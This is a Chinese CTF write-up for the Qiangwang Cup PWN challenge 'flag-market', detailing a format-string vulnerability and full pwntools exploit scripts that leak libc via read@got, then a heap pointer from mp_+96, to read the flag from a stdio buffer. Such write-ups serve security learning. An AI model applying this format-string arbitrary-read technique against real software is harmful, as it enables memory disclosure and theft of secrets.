找回密码
 立即注册
首页 业界区 科技 第九届强网杯线上赛PWN_flag-market

第九届强网杯线上赛PWN_flag-market

梁丘眉 2025-10-24 00:30:01
<h1 id="第九届强网杯线上赛pwn_flag-market">第九届强网杯线上赛PWN_flag-market</h1>
<h2 id="一题目">一、题目</h2>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023203039923-1200912138.png" width="70%/">

<h2 id="二信息搜集">二、信息搜集</h2>
<p>下载题目给的附件,查看文件ctf.xinetd之后,知道我们的可执行程序名为chall:</p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023203727187-200295548.png" width="60%/">

<p>这个文件在附件中的bin目录下。</p>
<p>通过<code>file</code>命令查看文件类型:</p>
<p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023203957917-176528406.png" alt="image" loading="lazy">
</p>
<p>通过<code>checksec</code>命令查看文件保护措施:</p>
<p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023204015264-1836719827.png" alt="image" loading="lazy">
</p>
<h2 id="三反汇编文件开始分析">三、反汇编文件开始分析</h2>
<h3 id="1分析程序基本逻辑">1、分析程序基本逻辑</h3>
<p>将chall文件丢入64位的IDA Pro中,开始反汇编操作,由于汇编代码过长,我们通过看C语言代码来把握整体代码逻辑:</p>
  1. <code >__int64 __usercall main@<rax>(char **a1@<rsi>, char **a2@<rdx>, __int64 a3@<rbp>, __int64 a4@<rdi>)
  2. {
  3.   __int64 *v4; // rsi
  4.   const char *v5; // rdi
  5.   __int64 result; // rax
  6.   unsigned int v7; // eax
  7.   unsigned __int64 v8; // rdx
  8.   unsigned __int64 v9; // rt1
  9.   signed int i; // [rsp-8Ch] [rbp-8Ch]
  10.   __int64 v11; // [rsp-80h] [rbp-80h]
  11.   signed int v12; // [rsp-71h] [rbp-71h]
  12.   signed __int16 v13; // [rsp-6Dh] [rbp-6Dh]
  13.   __int64 v14; // [rsp-68h] [rbp-68h]
  14.   __int64 v15; // [rsp-58h] [rbp-58h]
  15.   unsigned __int64 v16; // [rsp-10h] [rbp-10h]
  16.   __int64 v17; // [rsp-8h] [rbp-8h]
  17.   __asm { endbr64 }
  18.   v17 = a3;
  19.   v16 = __readfsqword(0x28u);
  20.   sub_401336(a4, a1, a2);
  21.   v12 = 'alf/';
  22.   v13 = 'g';
  23.   v11 = my_fopen(&v12, &unk_402008);
  24.   dword_40430C = 1;
  25.   while ( 1 )
  26.   {
  27.     my_puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
  28.     my_memset(&v14, 0LL, 16LL);
  29.     v4 = &v14;
  30.     my_read();
  31.     if ( (unsigned __int8)my_atoi() != 1 )
  32.       break;
  33.     my_puts("how much you want to pay?");
  34.     my_memset(&v14, 0LL, 16LL);
  35.     v4 = &v14;
  36.     my_read();
  37.     if ( (unsigned __int8)my_atoi() == -1 )
  38.     {
  39.       my_puts(aThankYouForPay);
  40.       if ( !dword_40430C || (v4 = (__int64 *)64, !my_fgets(&v15, 64LL, v11)) )
  41.       {
  42.         v5 = "something is wrong";
  43.         my_puts("something is wrong");
  44.         result = 0LL;
  45.         goto LABEL_16;
  46.       }
  47.       for ( i = 0; ; ++i )
  48.       {
  49.         if ( i > 64 )
  50.         {
  51.           v5 = "\nThank you for your patronage!";
  52.           my_puts("\nThank you for your patronage!");
  53.           result = 0LL;
  54.           goto LABEL_16;
  55.         }
  56.         if ( *((_BYTE *)&v17 + i - 80) == '{' )
  57.           break;
  58.         my_putchar((unsigned int)*((char *)&v17 + i - 80));
  59.         my_sleep(1LL);
  60.       }
  61.       my_memset(&v15, 0LL, 64LL);
  62.       my_puts(a1m31mError0mSo);
  63.       my_puts("opened user.log, please report:");
  64.       my_memset(aEverythingIsOk, 0LL, 256LL);
  65.       scanf("%s", aEverythingIsOk);
  66.       my_getchar("%s", aEverythingIsOk);
  67.       v7 = my_open("user.log");
  68.       my_write(v7, aEverythingIsOk, 256LL);
  69.       my_puts(aOkNowYouCanExi);
  70.     }
  71.     else
  72.     {
  73.       my_printf(aYouAreSoParsim);
  74.       if ( dword_40430C )
  75.       {
  76.         my_fclose(v11);
  77.         dword_40430C = 0;
  78.       }
  79.     }
  80.   }
  81.   v5 = 0LL;
  82.   result = my_exit();
  83. LABEL_16:
  84.   v9 = __readfsqword(0x28u);
  85.   v8 = v16 - v9;
  86.   if ( v16 != v9 )
  87.     result = my___stack_chk_fail(v5, v4, v8);
  88.   return result;
  89. }
  90. </code>
复制代码
<blockquote>
<p>我已经将一些为命令函数进行了重命名操作,这样便于我们的分析。重命名可以依据经验,也可以通过gdb动态调试来确定函数。</p>
</blockquote>
<p>程序首先会通过<code>fopen</code>函数打开根目录下的flag文件,接着会出现两个选择即:</p>
<ul>
<li>take my money</li>
<li>exit</li>
</ul>
<p>选择二就直接退出了。</p>
<p>如果我们选择一,那么程序就会通过<code>read</code>函数来获取你的输入,接着判断你输入的值是否是“-1”:</p>
<ul>
<li>是:将打开的flag文件中的内容写入到地址&v15处,然后通过for循环逐字节读取flag。但是,遇到“{”之后就会终止读取。接下来,就是一个向上汇报错误的过程。</li>
<li>不是:打印一段文字,然后关闭(<code>fclose</code>)打开的flag文件。</li>
</ul>
<p>很明显,这一部分出现<code>printf</code>函数,而且该函数并没有指定格式化字符,那么会不会存在格式化字符串漏洞?</p>
<h3 id="2格式化字符串漏洞">2、格式化字符串漏洞</h3>
<p><code>printf</code>的参数来自<code>.data</code>段:</p>
  1. <code >.data:00000000004041C0 aYouAreSoParsim db 'You are so parsimonious!!!',0
  2. </code>
复制代码
<p>如果我们能控制这一部分的数据,就可以造成格式化字符串漏洞。</p>
<p>观察后,可以发现我们的<code>scanf</code>函数用的格式化字符是<code>%s</code>即可以无限长地输入(只要不输入空白字符),而且输入的位置刚好也在<code>.data</code>段且位置比“aYouAreSoParsim”低:</p>
  1. <code >.data:00000000004040C0 aEverythingIsOk db 'everything is ok~',0
  2. </code>
复制代码
<p>那么,格式化字符串漏洞的触发就是通过<code>scanf</code>函数的输入来覆盖“aYouAreSoParsim”部分,接着通过<code>printf</code>函数实现漏洞的触发。</p>
<h3 id="3思路">3、思路</h3>
<p>找到了关键漏洞,我们就要理一下思路,即思考我该怎么做才能获得flag?</p>
<p>首先,我们肯定不能通过任意地址读来去栈上找flag,因为虽然flag被写在了栈上,但是,后续程序利用了<code>my_memset(&v15, 0LL, 64LL);</code>将该位置的信息全都清空了。</p>
<p>但是,堆上的flag呢?</p>
<p>可能有人会有疑惑,堆上哪来的flag,整个程序我都没见过堆操作。</p>
<p>其实是有的。简单来说,I/O类型的函数(如<code>fopen</code>,<code>fgets</code>等)为了提到效率,会用到“缓冲”机制,这个缓冲机制就是通过调用<code>malloc</code>来实现的。</p>
<p>让我们从一个简单的场景开始,逐步深入。</p>
<p><mark>场景</mark>:如果没有缓冲会怎样?</p>
<p>想象一下,你的程序要从一个文件中读取1MB(大约一百万字节)的数据。</p>
  1. <code >FILE *fp = fopen("large_file.txt", "r");
  2. for (int i = 0; i < 1000000; i++) {
  3.     fgetc(fp); // 一次只读一个字节
  4. }
  5. </code>
复制代码
<p>如果没有缓冲机制,<code>fgetc</code>的每一次调用都会触发一次系统调用。系统调用是程序从用户态切换到内核态去请求操作系统服务的唯一方式。这个切换过程涉及到上下文保存、权限检查等,开销非常大。</p>
<p>这意味着,为了读取1MB的数据,你的程序需要进行一百万次的用户态/内核态切换。这将会慢得令人无法忍受。</p>
<p>为了解决这个问题,C标准库(glibc)引入了缓冲机制。</p>
<p>假设,当你的程序第一次调用<code>fopen</code>打开一个文件时,会发生以下事情:</p>
<ol>
<li><strong>创建管理结构</strong>:<code>fopen</code>在内部会调用<code>malloc</code>来开辟一片空间,这片空间中会存放一个叫<code>FILE</code>的结构体(或<code>_IO_FILE_plus</code>),该结构体用来管理:
<ul>
<li>文件的描述符(操作系统给的一个数字)。</li>
<li>当前读写位置。</li>
<li>是否发生了错误。</li>
<li>指向缓冲区的指针。</li>
</ul>
</li>
<li><strong>分配I/O缓冲区</strong>:光有管理结构还不够,还需要一个地方来存放从文件里预读出来的数据。这个地方就是I/O缓冲区。
<ul>
<li>当你的程序第一次尝试从文件读取数据时(例如,第一次调用<code>fgetc</code>或<code>fgets</code>),<code>_IO_FILE</code>的内部逻辑会检查自己是否有缓冲区。</li>
<li>如果没有,它就会向内核申请一大块数据,即此时第二次调用了<code>malloc</code>。</li>
<li>然后,就是读的操作了(它会发出一次系统调用如<code>read</code>),让内核一次性把数据从文件填充到这个新分配的缓冲区里。</li>
<li>最后,读写函数会从这片缓冲区中操作数据。</li>
</ul>
</li>
</ol>
<p>在完成了上述初始化之后,后续的I/O操作就变得非常高效了:</p>
<ul>
<li><code>fgetc</code>的调用,将不再需要任何系统调用。它们只是简单地从那个已经填满数据的堆上缓冲区里,一个接一个地取出字节。这只是纯粹的内存操作,速度极快。</li>
<li>只有当缓冲区里的数据被全部读完后,下一次读取操作才会再次触发一次系统调用,去请求下一个数据块。</li>
</ul>
<p>对于写入操作(如<code>fprintf</code>, <code>fputc</code>),原理也是类似的,这里不再赘述。</p>
<p>好,了解了这些之后,我们应该知道,堆上为什么也会有flag了吧。</p>
<p>那么,我们的思路就是,利用格式化字符串漏洞,实现任意地址读取,读到堆上的flag。</p>
<p>问题又出现了,怎么知道堆的地址呢?</p>
<p>这又涉及到一个知识点:针对动态链接的程序,在他的libc库中,会存在指向IO缓冲区的指针。</p>
<blockquote>
<p>这也很好理解,libc库中有很多的IO函数,那么操作一块堆空间最好的方式就是给我一个指向它的指针。</p>
</blockquote>
<p>综上,我们的思路:</p>
<ol>
<li>格式化字符串漏洞泄露libc基址。</li>
<li>通过格式化字符串漏洞泄露堆上的flag。</li>
</ol>
<h2 id="四poc的构造">四、Poc的构造</h2>
<blockquote>
<p>根据思路,按部就班地完成Poc的构造。</p>
</blockquote>
<h3 id="1泄露libc基址">1、泄露libc基址</h3>
<p>首先分析栈上的构造,程序中的第二个read函数的输入位置为<code>[rbp-60h]</code>。</p>
<p>flag在栈上的临时位置在<code>[rbp-50h]</code>他们的关系就是:</p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023213430288-1118781673.png" width="30%/">

<p>写一个测试脚本:</p>
  1. <code >from pwn import *
  2. context(arch="amd64",os="linux",log_level="debug")
  3. # p = remote("127.0.0.1",9999)
  4. p = process("./chall")
  5. p.sendafter(b'2.exit',b'1')
  6. p.sendafter(b'how much you want to pay?',b'-1'.ljust(8,b'\x00'))
  7. padding = 0x100
  8. payload = b'A'*padding
  9. for i in range(1,50):
  10.     payload += f'%{i}$p-'.encode()
  11. p.sendlineafter(b'opened user.log, please report:',payload)
  12. p.sendlineafter(b'2.exit',b'1')
  13. p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(0x404050))
  14. p.interactive()
  15. </code>
复制代码
<p>可以看到,运行之后可以看到(关键部分):</p>
  1. <code >0x2-(nil)-0x7ffd2c748851-0x1999999999999999-(nil)-0xc000-0x402b00000-0xffffffff00000010-0x27c212a0-0x2f0000000000c000-0x7f0067616c66-0x32-0x404050-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-0x7ffd2c748990-0x8988df52354d0500-0x7ffd2c748950-0x7e84d7c2a1ca-0x7ffd2c748900-0x7ffd2c7489d8-0x100400040-0x40139b-0x7ffd2c7489d8-0x9a34b258d05c60e2-0x1-(nil)-0x403e18-0x7e84d800c000-0x9a34b258d37c60e2-0x98c7453481fe60e2-0x7ffd00000000-(nil)-(nil)-0x1-0x7ffd2c7489d0-0x8988df52354d0500-0x7ffd2c7489b0-0x7e84d7c2a28b-0x7ffd2c7489e8-0x403e18-0x7ffd2c7489e8-0x40139b-welcome to flag market!
  2. </code>
复制代码
<p>很明显,这连续的<code>(nil)</code>就是<code>my_memset(&v15, 0LL, 64LL);</code>的杰作。</p>
<p>因此,我们可以推断,第14个位置就是<code>[rbp-50h]</code></p>
<p>那么,我们可以通过和<code>read</code>输入的配合,实现:</p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023214316077-107934784.png" width="40%">

<p>本阶段Poc:</p>
  1. <code >from pwn import *
  2. context(arch="amd64",os="linux",log_level="debug")
  3. # p = remote("127.0.0.1",9999)
  4. p = process("./chall")
  5. p.sendafter(b'2.exit',b'1')
  6. p.sendafter(b'how much you want to pay?',b'-1'.ljust(8,b'\x00'))
  7. padding = 0x100
  8. payload = b'A'*padding + b'%13$s#'
  9. # for i in range(1,50):
  10. #     payload += f'%{i}$p-'.encode()
  11. p.sendlineafter(b'opened user.log, please report:',payload)
  12. p.sendlineafter(b'2.exit',b'1')
  13. p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(0x404050))
  14. p.recvline()
  15. leak = u64(p.recvuntil(b'#')[:-1].ljust(8,b'\x00'))
  16. success("read_addr:" + hex(leak))
  17. libc_base = leak - 0x11ba80
  18. </code>
复制代码
<p>其中,<code>p64(0x404050)</code>是read@got的地址:</p>
  1. <code >.got.plt:0000000000404050 off_404050      dq offset sub_4010A0    ; DATA XREF: my_read+4↑r
  2. </code>
复制代码
<p><code>0x11ba80</code>,这个偏移量,是<code>read</code>在libc.so.6中的偏移量,为什么选择这个?</p>
<p>在上述Poc的输出中,会输出泄露的<code>read</code>的真实地址:</p>
  1. <code >[+] read_addr:0x78a9a251ba80
  2. </code>
复制代码
<p>拿这个地址去网站上搜索一下</p>
<p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023215019295-212912469.png" alt="image" loading="lazy">
</p>
<p>接着问AI:</p>
<p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023215116586-1271645686.png" alt="image" loading="lazy">
</p>
<p>然后在网站上点击该库文件即可看到偏移量:</p>
<p>
<img src="https://img2024.cnblogs.com/blog/3622178/202510/3622178-20251023215157409-635275790.png" alt="image" loading="lazy">
</p>
<h3 id="2找指向缓冲区的指针">2、找指向缓冲区的指针</h3>
<p>我们通过gdb的find命令,就可以很容易找到在libc中指向缓冲区的指针</p>
<p>为了程序的顺利执行,我们需要在我们的虚拟器的根目录下创建一个flag文件。原因很简单,我们之前分析过,程序会打开根目录下的flag文件,如果没有找到,就会报错。</p>
<p>我这已经准备好了:</p>
  1. <code >(pwn-env) zyf@zhengyifeng:/mnt/c/Users/14363/Downloads/ctf-downloads/flag-market/bin$ cat /flag
  2. flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}
  3. </code>
复制代码
<p>gdb打开程序,将断点设置在<code>0x4015B3</code></p>
<blockquote>
<p>断点没硬性要求,但是需要在建立缓冲区之后,即<code>fgets</code>之后。</p>
</blockquote>
<p>通过<code>got</code>命令找到read的真实地址:</p>
  1. <code >pwndbg> got
  2. Filtering out read-only entries (display them with -r or --show-readonly)
  3. State of the GOT of /mnt/c/Users/14363/Downloads/ctf-downloads/flag-market/bin/chall:
  4. GOT protection: Partial RELRO | Found 17 GOT entries passing the filter
  5. [0x404018] putchar@GLIBC_2.2.5 -> 0x7ffff7c89ce0 (putchar) ◂— endbr64
  6. [0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7c87be0 (puts) ◂— endbr64
  7. [0x404028] write@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
  8. [0x404030] fclose@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
  9. [0x404038] __stack_chk_fail@GLIBC_2.4 -> 0x401070 ◂— endbr64
  10. [0x404040] printf@GLIBC_2.2.5 -> 0x401080 ◂— endbr64
  11. [0x404048] memset@GLIBC_2.2.5 -> 0x7ffff7d89440 (__memset_avx2_unaligned_erms) ◂— endbr64
  12. [0x404050] read@GLIBC_2.2.5 -> 0x7ffff7d1ba80 (read) ◂— endbr64
  13. [0x404058] fgets@GLIBC_2.2.5 -> 0x7ffff7c85b30 (fgets) ◂— endbr64
  14. [0x404060] getchar@GLIBC_2.2.5 -> 0x4010c0 ◂— endbr64
  15. [0x404068] setvbuf@GLIBC_2.2.5 -> 0x7ffff7c88550 (setvbuf) ◂— endbr64
  16. [0x404070] open@GLIBC_2.2.5 -> 0x4010e0 ◂— endbr64
  17. [0x404078] fopen@GLIBC_2.2.5 -> 0x7ffff7c85e60 (fopen64) ◂— endbr64
  18. [0x404080] atoi@GLIBC_2.2.5 -> 0x7ffff7c46660 (atoi) ◂— endbr64
  19. [0x404088] __isoc99_scanf@GLIBC_2.7 -> 0x401110 ◂— endbr64
  20. [0x404090] exit@GLIBC_2.2.5 -> 0x401120 ◂— endbr64
  21. [0x404098] sleep@GLIBC_2.2.5 -> 0x7ffff7d0ec50 (sleep) ◂— endbr64
  22. </code>
复制代码
<p>算出libc的基址:</p>
  1. <code >pwndbg> p/x $libc_base =  0x7ffff7d1ba80 - 0x11ba80
  2. $1 = 0x7ffff7c00000
  3. </code>
复制代码
<p>接下来,我们可以先在堆上找到flag的准确位置</p>
  1. <code >pwndbg> heap
  2. Allocated chunk | PREV_INUSE
  3. Addr: 0x405000
  4. Size: 0x290 (with flag bits: 0x291)
  5. Allocated chunk | PREV_INUSE
  6. Addr: 0x405290
  7. Size: 0x1e0 (with flag bits: 0x1e1)
  8. Allocated chunk | PREV_INUSE
  9. Addr: 0x405470
  10. Size: 0x1010 (with flag bits: 0x1011)
  11. Top chunk | PREV_INUSE
  12. Addr: 0x406480
  13. Size: 0x1fb80 (with flag bits: 0x1fb81)
  14. pwndbg> telescope 0x405000 0x500
  15. 00:0000│      0x405000 ◂— 0
  16. 01:0008│      0x405008 ◂— 0x291
  17. 02:0010│      0x405010 ◂— 0
  18. ... ↓         80 skipped
  19. 53:0298│      0x405298 ◂— 0x1e1
  20. 54:02a0│      0x4052a0 ◂— 0xfbad2488
  21. 55:02a8│      0x4052a8 —▸ 0x4054ab ◂— 0
  22. 56:02b0│      0x4052b0 —▸ 0x4054ab ◂— 0
  23. 57:02b8│      0x4052b8 —▸ 0x405480 ◂— 'flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}\n'
  24. ... ↓         4 skipped
  25. 5c:02e0│      0x4052e0 —▸ 0x406480 ◂— 0
  26. 5d:02e8│      0x4052e8 ◂— 0
  27. ... ↓         3 skipped
  28. 61:0308│      0x405308 —▸ 0x7ffff7e044e0 (_IO_2_1_stderr_) ◂— 0xfbad2087
  29. 62:0310│      0x405310 ◂— 3
  30. 63:0318│      0x405318 ◂— 0
  31. 64:0320│      0x405320 ◂— 0
  32. 65:0328│      0x405328 —▸ 0x405380 ◂— 0
  33. 66:0330│      0x405330 ◂— 0xffffffffffffffff
  34. 67:0338│      0x405338 ◂— 0
  35. 68:0340│      0x405340 —▸ 0x405390 ◂— 0
  36. 69:0348│      0x405348 ◂— 0
  37. ... ↓         2 skipped
  38. 6c:0360│      0x405360 ◂— 0xffffffff
  39. 6d:0368│      0x405368 ◂— 0
  40. 6e:0370│      0x405370 ◂— 0
  41. 6f:0378│      0x405378 —▸ 0x7ffff7e02030 (_IO_file_jumps) ◂— 0
  42. 70:0380│      0x405380 ◂— 0
  43. ... ↓         29 skipped
  44. 8e:0470│      0x405470 —▸ 0x7ffff7e02228 (_IO_wfile_jumps) ◂— 0
  45. 8f:0478│      0x405478 ◂— 0x1011
  46. 90:0480│      0x405480 ◂— 'flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}\n'
  47. 91:0488│      0x405488 ◂— '285cb-c1b3-49ff-820b-8075a639bc1e}\n'
  48. 92:0490│      0x405490 ◂— 'b3-49ff-820b-8075a639bc1e}\n'
  49. 93:0498│      0x405498 ◂— '820b-8075a639bc1e}\n'
  50. 94:04a0│      0x4054a0 ◂— '5a639bc1e}\n'
  51. 95:04a8│ r8-3 0x4054a8 ◂— 0xa7d65 /* 'e}\n' */
  52. 96:04b0│      0x4054b0 ◂— 0
  53. ... ↓         506 skipped
  54. 291:1488│      0x406488 ◂— 0x1fb81
  55. 292:1490│      0x406490 ◂— 0
  56. ... ↓         621 skipped
  57. pwndbg>
  58. </code>
复制代码
<p>很明显,最低在<code>0x4052b8</code>就出现了。</p>
<p>现在,我们就可以通过<code>find</code>命令找到那个指针了:</p>
<blockquote>
<p>注意,不要直接找flag所在的位置,要找flag所在的那个chunk的位置,因为指针指向的是chunk的位置而不是flag的位置。</p>
</blockquote>
  1. <code >pwndbg> find /g $libc_base,$libc_base+0x400000,0x405000
  2. 0x7ffff7e031e0 <mp_+96>
  3. warning: Unable to access 16000 bytes of target memory at 0x7ffff7e0ed68, halting search.
  4. 1 pattern found.
  5. </code>
复制代码
<p>找到的<code>0x7ffff7e031e0 <mp_+96></code>是在libc中的,而且我们已经泄露了libc的地址。那么,我们就可以通过格式化字符串漏洞的任意地址读泄露<code>0x7ffff7e031e0</code>中的内容即堆指针。但是,此时泄露出来的信息是chunk的地址,因此,为了准确定位flag,我们还得知道偏移量即<code>0x480</code></p>
<h3 id="3最终poc">3、最终Poc</h3>
  1. <code >from pwn import *
  2. context(arch="amd64",os="linux",log_level="debug")
  3. # p = remote("127.0.0.1",9999)
  4. p = process("./chall")
  5. p.sendafter(b'2.exit',b'1')
  6. p.sendafter(b'how much you want to pay?',b'-1'.ljust(8,b'\x00'))
  7. padding = 0x100
  8. payload = b'A'*padding + b'%13$s#'
  9. # for i in range(1,50):
  10. #     payload += f'%{i}$p-'.encode()
  11. p.sendlineafter(b'opened user.log, please report:',payload)
  12. p.sendlineafter(b'2.exit',b'1')
  13. p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(0x404050))
  14. p.recvline()
  15. leak = u64(p.recvuntil(b'#')[:-1].ljust(8,b'\x00'))
  16. success("read_addr:" + hex(leak))
  17. libc_base = leak - 0x11ba80
  18. success("libc_base:" + hex(libc_base))
  19. p.sendafter(b'2.exit',b'1')
  20. p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(libc_base+0x2031e0+1))
  21. p.recvline()
  22. heap_addr = u64(p.recvuntil(b'#')[:-1].ljust(8,b'\x00')) << 8
  23. success("heap_addr:" + hex(heap_addr))
  24. # gdb.attach(p)
  25. # pause()
  26. p.sendafter(b'2.exit',b'1')
  27. p.sendafter(b'how much you want to pay?',b'2'.ljust(8,b'\x00') + p64(heap_addr+0x480))
  28. p.interactive()
  29. </code>
复制代码
<p>需要注意的是,我们在动态调试中找到的那个指针:</p>
  1. <code >pwndbg> telescope 0x7ffff7e031e0
  2. 00:0000│     0x7ffff7e031e0 (mp_+96) —▸ 0x405000 ◂— 0
  3. </code>
复制代码
<p>在小端序中,其最低地址字节是"\x00",这就会导致我们构造的格式化字符串"%s"直接戛然而止。</p>
<p>因此,我们可以通过"地址+1"的手段,来跳过该空字符,然后泄露地址完成之后,通过左移1字节(8位)的操作(对应脚本<code><< 8</code>),实现最低有效位(<code>\x00</code>)的补回。</p>
<p>最终Poc的执行效果(关键部分):</p>
  1. <code >[DEBUG] Received 0x82 bytes:
  2.     b'flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}\n'
  3.     b'#welcome to flag market!\n'
  4.     b'give me money to buy my flag,\n'
  5.     b'choice: \n'
  6.     b'1.take my money\n'
  7.     b'2.exit\n'
  8. flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}
  9. #welcome to flag market!
  10. give me money to buy my flag,
  11. choice:
  12. 1.take my money
  13. 2.exit
  14. </code>
复制代码
<p>可以看到flag被我们泄露出来了~</p><br>来源:程序园用户自行投稿发布,如果侵权,请联系站长删除<br>免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

5 天前

举报

鼓励转贴优秀软件安全工具和文档!
您需要登录后才可以回帖 登录 | 立即注册